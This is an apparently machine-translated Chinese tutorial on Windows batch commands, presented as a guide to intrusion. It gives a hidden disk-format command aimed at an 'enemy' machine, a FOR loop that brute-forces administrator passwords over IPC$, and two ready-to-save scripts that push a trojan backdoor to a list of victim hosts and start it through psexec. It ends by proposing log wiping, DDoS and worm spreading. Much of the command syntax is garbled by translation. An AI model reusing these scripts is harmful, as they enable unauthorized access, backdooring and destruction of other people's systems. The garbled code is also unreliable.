古詩詞大全網 - 團隊口號 - 什麽是批處理命令?

什麽是批處理命令?

1.回聲命令

打開或關閉回聲,或顯示信息。如果沒有參數,echo命令將顯示當前的echo設置。

語法

echo[{ on | off }][消息]

回聲關閉/回聲hello world示例

在實際應用中,我們將把這個命令和重定向符號(也稱為管道符號,壹般用>;& gt& gt)來實現將壹些命令輸入到特定格式的文件中,這個會在以後的例子中體現。

2.@命令

這意味著@後面的命令將不會顯示。在入侵過程中(比如用批處理格式化敵方硬盤),自然不能讓對方看到妳使用的命令。

示例:@回聲關閉

@echo正在初始化程序,請稍等...

@ formatexx:/q/u/autoset (Format不允許使用參數/y,好在微軟給我們留了壹個autoset參數,效果和/y壹樣..)

3.Goto命令

指定跳轉到標簽。找到標簽後,程序將從下壹行開始處理命令。

語法:goto label (label是壹個參數,它指定批處理程序中要轉到的行。)

樣本:

if {%1}=={}轉到noparms

If {%2} = {} gotonoparms(如果妳不明白這裏的If,%1,%2,先跳過,後面會有詳細解釋。)

@Rem檢查參數,如果為空則顯示用法

:noparms

echo用法:monitor.bat ServerIP端口號

轉到結尾

標簽的名字可以隨意選擇,但最好是有意義的字母。在字母前加壹個:表示字母是標簽,goto命令就是基於這個:找到下壹步並跳轉到那裏。妳最好有壹些解釋,這樣別人會明白妳的意圖。

4.Rem命令

comment命令相當於C語言中的/*-*/。不會被執行,只是起到壹個註釋的作用,方便以後別人閱讀和修改。

遠程消息

樣本:@Rem這裏是描述。

5.暫停命令

運行暫停命令時,將顯示以下消息:

按任意鍵繼續。。。

樣本:

@關閉回聲

:開始

副本a:*。* d:\返回

echo請將新磁盤放入驅動程序A

中止

轉到開始

在本例中,驅動器A中磁盤上的所有文件都被復制到d:\back。顯示的提示提示您將另壹張磁盤放入驅動器a。暫停命令將暫停程序,以便您可以更換磁盤並按任意鍵繼續處理。

6.呼叫命令

從壹個批處理程序調用另壹個批處理程序,而不終止父批處理程序。call命令接受用作調用目標的標簽。如果在腳本或批處理文件之外使用Call,它將不會在命令行上工作。

語法

調用[[驅動器:] [路徑]文件名[批處理參數]] [:標簽[參數]]

參數

[驅動器:}[路徑]文件名

指定要調用的批處理程序的位置和名稱。filename參數必須有壹個. bat或。cmd擴展。

7 .啟動命令

調用外部程序,所有的DOS命令和命令行程序都可以通過start命令調用。

常見入侵參數:

最小化MIN開頭的窗口

在單獨的空間啟動16位Windows程序。

高啟動高優先級類別的應用程序。

實時啟動實時優先級類別中的應用程序。

WAIT啟動應用程序並等待它結束。

參數這些是傳遞給命令/程序的參數。

當執行的應用程序是32位GUI應用程序時,CMD.EXE會返回命令提示符,而不等待應用程序終止。如果在命令腳本中執行,這種新行為將不會發生。

8 .選擇命令

選擇使用此命令讓用戶輸入壹個字符來運行不同的命令。使用的時候要加上/c:參數,在c:後面要寫可以輸入的字符,中間不要有空格。它的返回代碼是1234...

如:choice /c:dme defrag,mem,end

將被顯示

defrag,mem,end[D,M,E]?

樣本:

Sample.bat的內容如下:

@關閉回聲

choice /c:dme碎片整理,mem,end

如果錯誤級別3轉到碎片整理(應首先判斷值最高的錯誤代碼)

如果錯誤級別2,轉到記憶

如果錯誤級別為1,則轉到結尾

:碎片整理

c:\dos\defrag

轉到結尾

:記憶

記憶

轉到結尾

:結束

回聲再見

這個文件運行後會顯示defrag,mem,end[D,M,E]?用戶可以選擇d m e,然後if語句會做出判斷。d表示執行標記為defrag的程序段,M表示執行標記為mem的程序段,E表示執行標記為end的程序段。每個程序段最後都會跳轉到帶有goto end的結束標簽,然後程序會顯示good bye,文件結束。

9.If命令

If是指它會判斷指定的條件是否滿足,然後決定執行不同的命令。有三種格式:

1,如果"參數" = = "字符串"命令被執行

如果參數等於指定的字符串,則條件成立。運行命令,否則運行下壹句。(註意是兩個等號)

例如,如果“% 1”= =“a”格式a:

if {%1}=={}轉到noparms

if {%2}=={}轉到noparms

2.如果存在文件名是要執行的命令。

如果有指定的文件,條件成立,運行命令,否則運行下壹句。

如if exist config . sys edit config . sys。

3,if errorlevel/if not errorlevel要執行的數字命令。

如果返回代碼等於指定的數字,則條件成立,命令運行;否則下壹句就是跑。

例如如果錯誤級別2轉到x2。

當壹個DOS程序運行時,它會返回壹個數字給DOS,這個數字叫做錯誤碼errorlevel或返回碼。常見的返回代碼是0,1。

10 .用於命令

for命令是壹個復雜命令,主要用於在指定範圍內循環執行命令。

在批處理文件中使用FOR命令時,請使用%%variable來指定變量。

for { % variable | % % variable } in(set)do命令[ CommandLineOptions]

%variable指定壹個單字母可替換參數。

(set)指定壹個或壹組文件。可以使用通配符。

Command指定對每個文件執行的命令。

Command-parameters為特定命令指定參數或命令行開關。

在批處理文件中使用FOR命令時,請使用%%variable來指定變量。

而不是%變量。變量名區分大小寫,所以%i不同於% i。

如果啟用了命令擴展,以下附加的FOR命令格式會受到影響

支持:

FOR/D %變量IN (set) DO命令[命令-參數]

如果集合包含通配符,則指定它匹配目錄名,而不是文件。

名字匹配。

FOR/R[[drive:]path]% variable IN(set)DO command[command-

檢查以[drive:]path為根的目錄樹,並指向每個目錄中的。

對於語句,如果在/R後沒有指定目錄,則使用當前目錄。

目錄。如果集合只是壹個點(。)字符,枚舉目錄樹。

FOR/L %變量IN (start,step,end) DO命令[command-para

這個集合表示從開始到結束遞增的壹系列數字。

因此,(1,1,5)將產生序列1 2 3 4 5,(5,1,1)將產生。

順序(5 4 3 2 1)。

(file-set) DO命令中的FOR/F[" options "]%變量

FOR/F[" options "]%變量IN ("string") DO命令

FOR/F[" options "]%變量在(command) DO命令中

或者,如果您有usebackq選項:

(file-set) DO命令中的FOR/F[" options "]%變量

FOR/F[" options "]%變量IN ("string") DO命令

FOR/F[" options "]%變量在(command) DO命令中

Filenameset是壹個或多個文件名。在文件名集中繼續。

每個文件在下壹個文件之前已經被打開、讀取和處理。

處理包括讀取壹個文件,將它分成文本行,然後將每行分成

解析零個或多個符號。然後使用找到的符號串的變量值

調用For循環。默認情況下,/F由每個文件中的每壹行分隔。

的第壹個空白符號。跳過空行。您可以指定可選的“選項”

參數重寫默認的解析操作。這個引用的字符串包括壹個或多個

為不同的解析選項指定關鍵字。這些關鍵字是:

eol = c-表示行註釋字符的結束(只有壹個)

skip = n-表示在文件開頭忽略的行數。

delims = XXX-表示分隔符集。這個代替了空格和制表符。

默認分隔符集。

Tokens=x,y,m-n-指的是每壹行的哪個符號傳遞給每次叠代。

為了自己。這將導致額外的變量名。

格式是壹個範圍。用第n個符號指定m。

符號串中的最後壹個字符星號,

那麽額外的變量將在最後壹個符號處被解析。

分配並接受該行的保留文本。

usebackq-指定新語法已用於以下情況:

在將帶引號的字符串作為命令執行後

引號字符是文字字符串命令,在fi中是允許的

用雙引號將文件名括起來。

樣品1:

FOR/F " eol =;tokens=2,3* delims=," %i in (myfile.txt) do命令

將分析myfile.txt中的每壹行,忽略那些以分號開頭的行,並將

每行中的第二個和第三個符號被傳遞給for程序體;使用逗號和/或

空格分隔符。請註意,這個for程序體中的語句引用了% i。

獲取第二個符號,引用%j來獲取第三個符號,引用% k。

獲取第三個符號之後的所有剩余符號。對於帶空格的文件

名稱,需要用雙引號將文件名括起來。為了以這種方式制造

對於雙引號,您還需要使用usebackq選項,否則雙引號將

應當理解,它用於定義待分析的字符串。

在for語句中特別聲明了%i,而%j和%k是由。

Tokens=選項是特別指定的。可以傳代幣=壹行。

指定最多26個符號,只要不試圖描述比字母z或更高的符號

z的變量,記住FOR變量是單字母,區分大小寫,全局的;

同時,使用中的不能超過52個。

還可以對相鄰字符串使用FOR /F解析邏輯;該方法是,

用單引號將文件名集括在括號中。這樣,人物

字符串被視為文件中的單個輸入行。

最後,您可以使用FOR /F命令來分析該命令的輸出。方法是把

括號之間的文件名集成為壹個封閉字符串。該線將

作為命令行,它被傳遞給子CMD.EXE,其輸出將被捕獲。

內存中,並作為壹個文件進行分析。因此,下面舉個例子:

FOR/F " usebackq delims = = " % I IN(` set `)DO @ echo % I

枚舉當前環境中的環境變量的名稱。

此外,還增強了對變量引用的替換。您現在可以使用以下內容

選項語法:

~ I-刪除任何引號(")並展開% i。

% ~ fI-將%I擴展為完全限定的路徑名

%~dI-only %I擴展為壹個驅動器號。

% ~ pI-僅%I擴展到壹個路徑。

%~nI-only %I被擴展為文件名。

% ~僅限% I將被擴展為壹個文件擴展名。

% ~ sI-擴展路徑只包含短名稱。

% ~ aI-將%I擴展到文件的file屬性

% ~ tI-將%I擴展到文件的日期/時間

% ~ zI-將%I擴展到文件大小

% ~ $ PATH:I-找到PATH環境變量中列出的目錄並展開% i。

到找到的第壹個完全限定名。如果環境變量

未定義或未找到文件,此組合鍵將被擴展。

空行

修改器可以組合起來獲得多種結果:

% ~僅dpI % I擴展為壹個驅動器號和路徑。

%~nxI-only %I被擴展為文件名和擴展名。

% ~ fsI-僅將%I擴展為帶有短名稱的完整路徑名。

% ~ DP $ PATH:I-找到PATH環境變量中列出的目錄並展開% i。

轉到找到的第壹個驅動器號和路徑。

% ~ ftzaI-將%I擴展到類似輸出行的DIR

在上面的例子中,%I和PATH可以替換為其他有效值。% ~語法

以有效的FOR變量名結束。選擇壹個類似於% i的大寫變量名。

它更容易閱讀,並避免與不區分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面舉幾個例子來說明For命令在入侵中的使用。

樣本2:

For命令用於破解目標Win2k主機的暴力密碼。

我們使用net use \ \ IP \ IPC $ " password "/u:" administrator "嘗試連接目標主機,成功後記下密碼。

最重要的命令是壹個:for/f I % in(dict . txt)do net use \ \ IP \ IPC $ " I % "/u:" administrator "。

I%用於表示admin的密碼。在dict.txt中,i%的這個值是與net use命令連接的。然後將程序運行結果傳遞給find命令-

for/f I % % in(dict . txt)do net use \ \ IP \ IPC $ " I % % "/u:" administrator " | find ":命令成功完成" > & gtD:\ok.txt,就是ko。

樣本3:

有沒有壹大批肉雞等著妳去種後門+特洛伊馬?當數量特別大的時候,原本很開心的壹切都會變得很壓抑。文章開頭提到,使用批處理文件可以簡化日常或重復性的任務。那麽如何實現呢?呵呵,看完妳就明白了。

主命令只有壹個:(在批處理文件中使用FOR命令時,指定變量使用%%variable)。

@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call door . bat % % I % % j % % k

令牌的用法請參考上面的sample1,這裏指的是將victim.txt中的內容按順序傳遞給door.bat中的參數%i %j %k。

Cultivate.bat無非是用net use命令建立IPC$連接,並把特洛伊+後門復制到受害者,然後用return copy (If errorlever =)篩選成功植入後門的主機,並回顯出來,或者回顯到指定文件。

Delims=表示vivtim.txt中的內容用空格隔開。我想妳看到這裏壹定明白這個victim.txt裏面的內容是什麽樣子了。應該是按照%%i %%j %%k代表的對象來排列的,壹般是ip密碼用戶名。

代碼原型:

-在這裏剪切,然後保存為批處理文件(我稱之為main.bat ) -

@關閉回聲

@if "%1"== " "轉到用法

@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call IPC hack . bat % % I % % j % % k

@轉到結尾

:用法

@echo在dos模式下運行該批處理。或者雙擊它。

:結束

-在這裏剪切,然後保存為批處理文件(我稱之為main.bat ) -

-在這裏剪切,然後保存為批處理文件(我稱之為door.bat)

@net use \\%1\ipc$ %3 /u:"%2 "

@if errorlevel 1 goto失敗

@echo正在嘗試建立IPC連接………好的

@ copy wind RV 32 . exe \ \ % 1 \ admin $ \ system32 & amp;& amp如果不是錯誤級別1回顯IP %1用戶% 2 PWD % 3 & gt;& gtko.txt

@ p * * * EC \ \ % 1 c:\ win nt \ system32 \ win drv 32 . exe

@ p * * * EC \ \ % 1 net start windrv 32 & amp;& amp如果不是errorlevel 1 echo %1後門& gt& gtko.txt

:失敗

@echo抱歉無法連接到受害者。

-在這裏剪切,然後保存為批處理文件(我稱之為door.bat)

這只是壹個自動後門批次的雛形。兩個批處理和後門程序(Windrv32.exe),psexec。Exe需要放在壹個統壹的目錄中。批量內容。

可以擴展,比如增加清除日誌+DDOS的功能,增加定期添加用戶的功能,深入的話讓它有自動傳播(蠕蟲)的功能。